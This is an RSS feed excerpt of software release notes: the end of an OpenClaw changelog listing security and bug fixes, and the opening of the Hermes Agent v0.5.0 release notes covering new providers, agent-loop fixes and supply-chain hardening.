<li>WhatsApp: route terminal login QR output through the active runtime for initial and restart sockets, so <code>openclaw channels login --channel whatsapp</code> does not lose the QR behind direct stdout writes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369745219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76213" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76213/hovercard" href="https://github.com/openclaw/openclaw/issues/76213">#76213</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dougvk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dougvk">@dougvk</a>.</li>
<li>Proxy/debugging: disable debug proxy direct upstream forwarding for proxy requests and CONNECT tunnels while managed proxy mode is active unless <code>OPENCLAW_DEBUG_PROXY_ALLOW_DIRECT_CONNECT_WITH_MANAGED_PROXY=1</code> is explicitly set for approved local diagnostics. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjamiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjamiv">@mjamiv</a>.</li>
<li>Direct APNs: route direct HTTP/2 delivery through the active managed proxy with redacted proxy diagnostics, so push requests honor configured egress controls and <code>openclaw proxy validate --apns-reachable</code> can prove APNs is reachable through the proxy before deployment. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355818960" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74905" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74905/hovercard" href="https://github.com/openclaw/openclaw/pull/74905">#74905</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Agents/subagents: detect prefix-only completion announce replies and fall back to the captured child result so requester chats no longer lose most of long sub-agent reports silently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370755013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76412" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76412/hovercard" href="https://github.com/openclaw/openclaw/issues/76412">#76412</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/inxaos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/inxaos">@inxaos</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davemorin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davemorin">@davemorin</a>.</li>
<li>TUI: replace the stale-response watchdog notice with plain user-facing copy so stalled replies no longer surface backend or streaming internals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374171377" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77120" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77120/hovercard" href="https://github.com/openclaw/openclaw/pull/77120">#77120</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davemorin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davemorin">@davemorin</a>.</li>
<li>Security/Windows: validate <code>SystemRoot</code>/<code>WINDIR</code> env values through the Windows install-root validator and add them to the dangerous-host-env policy when resolving <code>icacls.exe</code>/<code>whoami.exe</code> for <code>openclaw security audit</code>, so workspace <code>.env</code> overrides and bare command names cannot redirect Windows ACL helpers to attacker-controlled binaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351894295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74458" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74458/hovercard" href="https://github.com/openclaw/openclaw/pull/74458">#74458</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Security/Windows: pin Windows registry-probe <code>reg.exe</code> resolution to the canonical Windows install root in install-root probing, so <code>SystemRoot</code>/<code>WINDIR</code> env overrides cannot redirect registry queries during Windows host detection. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351875825" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74454" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74454/hovercard" href="https://github.com/openclaw/openclaw/pull/74454">#74454</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>QQBot: preserve the framework command authorization decision when converting framework command contexts into engine slash command contexts, so downstream slash handlers see <code>commandAuthorized</code> matching the channel's resolved <code>isAuthorizedSender</code> instead of a hardcoded <code>true</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378626375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77453/hovercard" href="https://github.com/openclaw/openclaw/pull/77453">#77453</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drobison00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drobison00">@drobison00</a>.</li>
<li>Security/Windows: block <code>LOCALAPPDATA</code> from workspace <code>.env</code> and resolve Windows update-flow portable Git path prepends from the trusted process-local <code>LOCALAPPDATA</code> only, so workspace-supplied values cannot redirect <code>git</code> discovery during <code>openclaw update</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378845160" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77470" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77470/hovercard" href="https://github.com/openclaw/openclaw/pull/77470">#77470</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drobison00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drobison00">@drobison00</a>.</li>
<li>Browser/SSRF: enforce the existing current-tab URL navigation policy before tab-scoped debug, export, and read routes (console, page errors, network requests, trace start/stop, response body, screenshot, snapshot, storage, etc.) collect from an already-selected tab, so blocked tabs return a policy error instead of being read first and redacted only at response time. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365339565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75731" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75731/hovercard" href="https://github.com/openclaw/openclaw/pull/75731">#75731</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Security/Windows: route the <code>.cmd</code>/<code>.bat</code> process wrapper through the shared Windows install-root resolver instead of <code>process.env.ComSpec</code>, so workspace dotenv-blocked <code>SystemRoot</code>/<code>WINDIR</code> overrides and unsafe values like UNC paths or path-lists cannot redirect <code>cmd.exe</code> selection on Windows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378853582" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77472" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77472/hovercard" href="https://github.com/openclaw/openclaw/pull/77472">#77472</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drobison00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drobison00">@drobison00</a>.</li>
<li>Agents/bootstrap: honor <code>BOOTSTRAP.md</code> content injected by <code>agent:bootstrap</code> hooks when deciding whether bootstrap is pending, so hook-provided required setup instructions are included in the system prompt. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379258956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77501/hovercard" href="https://github.com/openclaw/openclaw/pull/77501">#77501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ificator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ificator">@ificator</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.5.0 (v2026.3.28)]]></title>
<description><![CDATA[Hermes Agent v0.5.0 (v2026.3.28)
Release Date: March 28, 2026

The hardening release — Hugging Face provider, /model command overhaul, Telegram Private Chat Topics, native Modal SDK, plugin lifecycle hooks, tool-use enforcement for GPT models, Nix flake, 50+ security and reliability fixes, and a ...]]></description>
<link>https://tsecurity.de/de/3488036/downloads/hermes-agent-v050-v2026328/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3488036/downloads/hermes-agent-v050-v2026328/</guid>
<pubDate>Tue, 05 May 2026 03:01:37 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.5.0 (v2026.3.28)</h1>
<p><strong>Release Date:</strong> March 28, 2026</p>
<blockquote>
<p>The hardening release — Hugging Face provider, /model command overhaul, Telegram Private Chat Topics, native Modal SDK, plugin lifecycle hooks, tool-use enforcement for GPT models, Nix flake, 50+ security and reliability fixes, and a comprehensive supply chain audit.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Nous Portal now supports 400+ models</strong> — The Nous Research inference portal has expanded dramatically, giving Hermes Agent users access to over 400 models through a single provider endpoint</p>
</li>
<li>
<p><strong>Hugging Face as a first-class inference provider</strong> — Full integration with HF Inference API including curated agentic model picker that maps to OpenRouter analogues, live <code>/models</code> endpoint probe, and setup wizard flow (<a href="https://github.com/NousResearch/hermes-agent/pull/3419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3419/hovercard">#3419</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3440" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3440/hovercard">#3440</a>)</p>
</li>
<li>
<p><strong>Telegram Private Chat Topics</strong> — Project-based conversations with functional skill binding per topic, enabling isolated workflows within a single Telegram chat (<a href="https://github.com/NousResearch/hermes-agent/pull/3163" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3163/hovercard">#3163</a>)</p>
</li>
<li>
<p><strong>Native Modal SDK backend</strong> — Replaced swe-rex dependency with native Modal SDK (<code>Sandbox.create.aio</code> + <code>exec.aio</code>), eliminating tunnels and simplifying the Modal terminal backend (<a href="https://github.com/NousResearch/hermes-agent/pull/3538" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3538/hovercard">#3538</a>)</p>
</li>
<li>
<p><strong>Plugin lifecycle hooks activated</strong> — <code>pre_llm_call</code>, <code>post_llm_call</code>, <code>on_session_start</code>, and <code>on_session_end</code> hooks now fire in the agent loop and CLI/gateway, completing the plugin hook system (<a href="https://github.com/NousResearch/hermes-agent/pull/3542" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3542/hovercard">#3542</a>)</p>
</li>
<li>
<p><strong>Improved OpenAI Model Reliability</strong> — Added <code>GPT_TOOL_USE_GUIDANCE</code> to prevent GPT models from describing intended actions instead of making tool calls, plus automatic stripping of stale budget warnings from conversation history that caused models to avoid tools across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/3528" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3528/hovercard">#3528</a>)</p>
</li>
<li>
<p><strong>Nix flake</strong> — Full uv2nix build, NixOS module with persistent container mode, auto-generated config keys from Python source, and suffix PATHs for agent-friendliness (<a href="https://github.com/NousResearch/hermes-agent/pull/20" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20/hovercard">#20</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3274/hovercard">#3274</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3061/hovercard">#3061</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></p>
</li>
<li>
<p><strong>Supply chain hardening</strong> — Removed compromised <code>litellm</code> dependency, pinned all dependency version ranges, regenerated <code>uv.lock</code> with hashes, added CI workflow scanning PRs for supply chain attack patterns, and bumped deps to fix CVEs (<a href="https://github.com/NousResearch/hermes-agent/pull/2796" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2796/hovercard">#2796</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/2810" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2810/hovercard">#2810</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/2812" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2812/hovercard">#2812</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/2816" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2816/hovercard">#2816</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3073" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3073/hovercard">#3073</a>)</p>
</li>
<li>
<p><strong>Anthropic output limits fix</strong> — Replaced hardcoded 16K <code>max_tokens</code> with per-model native output limits (128K for Opus 4.6, 64K for Sonnet 4.6), fixing "Response truncated" and thinking-budget exhaustion on direct Anthropic API (<a href="https://github.com/NousResearch/hermes-agent/pull/3426" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3426/hovercard">#3426</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3444/hovercard">#3444</a>)</p>
</li>
</ul>
<hr>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>New Provider: Hugging Face</h3>
<ul>
<li>First-class Hugging Face Inference API integration with auth, setup wizard, and model picker (<a href="https://github.com/NousResearch/hermes-agent/pull/3419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3419/hovercard">#3419</a>)</li>
<li>Curated model list mapping OpenRouter agentic defaults to HF equivalents — providers with 8+ curated models skip live <code>/models</code> probe for speed (<a href="https://github.com/NousResearch/hermes-agent/pull/3440" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3440/hovercard">#3440</a>)</li>
<li>Added glm-5-turbo to Z.AI provider model list (<a href="https://github.com/NousResearch/hermes-agent/pull/3095" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3095/hovercard">#3095</a>)</li>
</ul>
<h3>Provider &amp; Model Improvements</h3>
<ul>
<li><code>/model</code> command overhaul — extracted shared <code>switch_model()</code> pipeline for CLI and gateway, custom endpoint support, provider-aware routing (<a href="https://github.com/NousResearch/hermes-agent/pull/2795" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2795/hovercard">#2795</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/2799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2799/hovercard">#2799</a>)</li>
<li>Removed <code>/model</code> slash command from CLI and gateway in favor of <code>hermes model</code> subcommand (<a href="https://github.com/NousResearch/hermes-agent/pull/3080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3080/hovercard">#3080</a>)</li>
<li>Preserve <code>custom</code> provider instead of silently remapping to <code>openrouter</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/2792" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2792/hovercard">#2792</a>)</li>
<li>Read root-level <code>provider</code> and <code>base_url</code> from config.yaml into model config (<a href="https://github.com/NousResearch/hermes-agent/pull/3112" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3112/hovercard">#3112</a>)</li>
<li>Align Nous Portal model slugs with OpenRouter naming (<a href="https://github.com/NousResearch/hermes-agent/pull/3253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3253/hovercard">#3253</a>)</li>
<li>Fix Alibaba provider default endpoint and model list (<a href="https://github.com/NousResearch/hermes-agent/pull/3484" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3484/hovercard">#3484</a>)</li>
<li>Allow MiniMax users to override <code>/v1</code> → <code>/anthropic</code> auto-correction (<a href="https://github.com/NousResearch/hermes-agent/pull/3553" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3553/hovercard">#3553</a>)</li>
<li>Migrate OAuth token refresh to <code>platform.claude.com</code> with fallback (<a href="https://github.com/NousResearch/hermes-agent/pull/3246" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3246/hovercard">#3246</a>)</li>
</ul>
<h3>Agent Loop &amp; Conversation</h3>
<ul>
<li><strong>Improved OpenAI model reliability</strong> — <code>GPT_TOOL_USE_GUIDANCE</code> prevents GPT models from describing actions instead of calling tools + automatic budget warning stripping from history (<a href="https://github.com/NousResearch/hermes-agent/pull/3528" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3528/hovercard">#3528</a>)</li>
<li><strong>Surface lifecycle events</strong> — All retry, fallback, and compression events now surface to the user as formatted messages (<a href="https://github.com/NousResearch/hermes-agent/pull/3153" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3153/hovercard">#3153</a>)</li>
<li><strong>Anthropic output limits</strong> — Per-model native output limits instead of hardcoded 16K <code>max_tokens</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3426" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3426/hovercard">#3426</a>)</li>
<li><strong>Thinking-budget exhaustion detection</strong> — Skip useless continuation retries when model uses all output tokens on reasoning (<a href="https://github.com/NousResearch/hermes-agent/pull/3444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3444/hovercard">#3444</a>)</li>
<li>Always prefer streaming for API calls to prevent hung subagents (<a href="https://github.com/NousResearch/hermes-agent/pull/3120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3120/hovercard">#3120</a>)</li>
<li>Restore safe non-streaming fallback after stream failures (<a href="https://github.com/NousResearch/hermes-agent/pull/3020" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3020/hovercard">#3020</a>)</li>
<li>Give subagents independent iteration budgets (<a href="https://github.com/NousResearch/hermes-agent/pull/3004" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3004/hovercard">#3004</a>)</li>
<li>Update <code>api_key</code> in <code>_try_activate_fallback</code> for subagent auth (<a href="https://github.com/NousResearch/hermes-agent/pull/3103" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3103/hovercard">#3103</a>)</li>
<li>Graceful return on max retries instead of crashing thread (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Count compression restarts toward retry limit (<a href="https://github.com/NousResearch/hermes-agent/pull/3070" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3070/hovercard">#3070</a>)</li>
<li>Include tool tokens in preflight estimate, guard context probe persistence (<a href="https://github.com/NousResearch/hermes-agent/pull/3164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3164/hovercard">#3164</a>)</li>
<li>Update context compressor limits after fallback activation (<a href="https://github.com/NousResearch/hermes-agent/pull/3305" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3305/hovercard">#3305</a>)</li>
<li>Validate empty user messages to prevent Anthropic API 400 errors (<a href="https://github.com/NousResearch/hermes-agent/pull/3322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3322/hovercard">#3322</a>)</li>
<li>GLM reasoning-only and max-length handling (<a href="https://github.com/NousResearch/hermes-agent/pull/3010" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3010/hovercard">#3010</a>)</li>
<li>Increase API timeout default from 900s to 1800s for slow-thinking models (<a href="https://github.com/NousResearch/hermes-agent/pull/3431" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3431/hovercard">#3431</a>)</li>
<li>Send <code>max_tokens</code> for Claude/OpenRouter + retry SSE connection errors (<a href="https://github.com/NousResearch/hermes-agent/pull/3497" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3497/hovercard">#3497</a>)</li>
<li>Prevent AsyncOpenAI/httpx cross-loop deadlock in gateway mode (<a href="https://github.com/NousResearch/hermes-agent/pull/2701" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2701/hovercard">#2701</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctlst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctlst">@ctlst</a></li>
</ul>
<h3>Streaming &amp; Reasoning</h3>
<ul>
<li><strong>Persist reasoning across gateway session turns</strong> with new schema v6 columns (<code>reasoning</code>, <code>reasoning_details</code>, <code>codex_reasoning_items</code>) (<a href="https://github.com/NousResearch/hermes-agent/pull/2974" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2974/hovercard">#2974</a>)</li>
<li>Detect and kill stale SSE connections (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Fix stale stream detector race causing spurious <code>RemoteProtocolError</code> (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Skip duplicate callback for <code>&lt;think&gt;</code>-extracted reasoning during streaming (<a href="https://github.com/NousResearch/hermes-agent/pull/3116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3116/hovercard">#3116</a>)</li>
<li>Preserve reasoning fields in <code>rewrite_transcript</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3311/hovercard">#3311</a>)</li>
<li>Preserve Gemini thought signatures in streamed tool calls (<a href="https://github.com/NousResearch/hermes-agent/pull/2997" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2997/hovercard">#2997</a>)</li>
<li>Ensure first delta is fired during reasoning updates (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
</ul>
<h3>Session &amp; Memory</h3>
<ul>
<li><strong>Session search recent sessions mode</strong> — Omit query to browse recent sessions with titles, previews, and timestamps (<a href="https://github.com/NousResearch/hermes-agent/pull/2533" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2533/hovercard">#2533</a>)</li>
<li><strong>Session config surfacing</strong> on <code>/new</code>, <code>/reset</code>, and auto-reset (<a href="https://github.com/NousResearch/hermes-agent/pull/3321" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3321/hovercard">#3321</a>)</li>
<li><strong>Third-party session isolation</strong> — <code>--source</code> flag for isolating sessions by origin (<a href="https://github.com/NousResearch/hermes-agent/pull/3255" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3255/hovercard">#3255</a>)</li>
<li>Add <code>/resume</code> CLI handler, session log truncation guard, <code>reopen_session</code> API (<a href="https://github.com/NousResearch/hermes-agent/pull/3315" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3315/hovercard">#3315</a>)</li>
<li>Clear compressor summary and turn counter on <code>/clear</code> and <code>/new</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3102/hovercard">#3102</a>)</li>
<li>Surface silent SessionDB failures that cause session data loss (<a href="https://github.com/NousResearch/hermes-agent/pull/2999" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2999/hovercard">#2999</a>)</li>
<li>Session search fallback preview on summarization failure (<a href="https://github.com/NousResearch/hermes-agent/pull/3478" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3478/hovercard">#3478</a>)</li>
<li>Prevent stale memory overwrites by flush agent (<a href="https://github.com/NousResearch/hermes-agent/pull/2687" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2687/hovercard">#2687</a>)</li>
</ul>
<h3>Context Compression</h3>
<ul>
<li>Replace dead <code>summary_target_tokens</code> with ratio-based scaling (<a href="https://github.com/NousResearch/hermes-agent/pull/2554" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2554/hovercard">#2554</a>)</li>
<li>Expose <code>compression.target_ratio</code>, <code>protect_last_n</code>, and <code>threshold</code> in <code>DEFAULT_CONFIG</code> (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Restore sane defaults and cap summary at 12K tokens (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Preserve transcript on <code>/compress</code> and hygiene compression (<a href="https://github.com/NousResearch/hermes-agent/pull/3556" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3556/hovercard">#3556</a>)</li>
<li>Update context pressure warnings and token estimates after compaction (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
</ul>
<h3>Architecture &amp; Dependencies</h3>
<ul>
<li><strong>Remove mini-swe-agent dependency</strong> — Inline Docker and Modal backends directly (<a href="https://github.com/NousResearch/hermes-agent/pull/2804" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2804/hovercard">#2804</a>)</li>
<li><strong>Replace swe-rex with native Modal SDK</strong> for Modal backend (<a href="https://github.com/NousResearch/hermes-agent/pull/3538" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3538/hovercard">#3538</a>)</li>
<li><strong>Plugin lifecycle hooks</strong> — <code>pre_llm_call</code>, <code>post_llm_call</code>, <code>on_session_start</code>, <code>on_session_end</code> now fire in the agent loop (<a href="https://github.com/NousResearch/hermes-agent/pull/3542" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3542/hovercard">#3542</a>)</li>
<li>Fix plugin toolsets invisible in <code>hermes tools</code> and standalone processes (<a href="https://github.com/NousResearch/hermes-agent/pull/3457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3457/hovercard">#3457</a>)</li>
<li>Consolidate <code>get_hermes_home()</code> and <code>parse_reasoning_effort()</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3062/hovercard">#3062</a>)</li>
<li>Remove unused Hermes-native PKCE OAuth flow (<a href="https://github.com/NousResearch/hermes-agent/pull/3107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3107/hovercard">#3107</a>)</li>
<li>Remove ~100 unused imports across 55 files (<a href="https://github.com/NousResearch/hermes-agent/pull/3016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3016/hovercard">#3016</a>)</li>
<li>Fix 154 f-strings, simplify getattr/URL patterns, remove dead code (<a href="https://github.com/NousResearch/hermes-agent/pull/3119" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3119/hovercard">#3119</a>)</li>
</ul>
<hr>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>Telegram</h3>
<ul>
<li><strong>Private Chat Topics</strong> — Project-based conversations with functional skill binding per topic, enabling isolated workflows within a single Telegram chat (<a href="https://github.com/NousResearch/hermes-agent/pull/3163" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3163/hovercard">#3163</a>)</li>
<li><strong>Auto-discover fallback IPs via DNS-over-HTTPS</strong> when <code>api.telegram.org</code> is unreachable (<a href="https://github.com/NousResearch/hermes-agent/pull/3376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3376/hovercard">#3376</a>)</li>
<li><strong>Configurable reply threading mode</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/2907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2907/hovercard">#2907</a>)</li>
<li>Fall back to no <code>thread_id</code> on "Message thread not found" BadRequest (<a href="https://github.com/NousResearch/hermes-agent/pull/3390" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3390/hovercard">#3390</a>)</li>
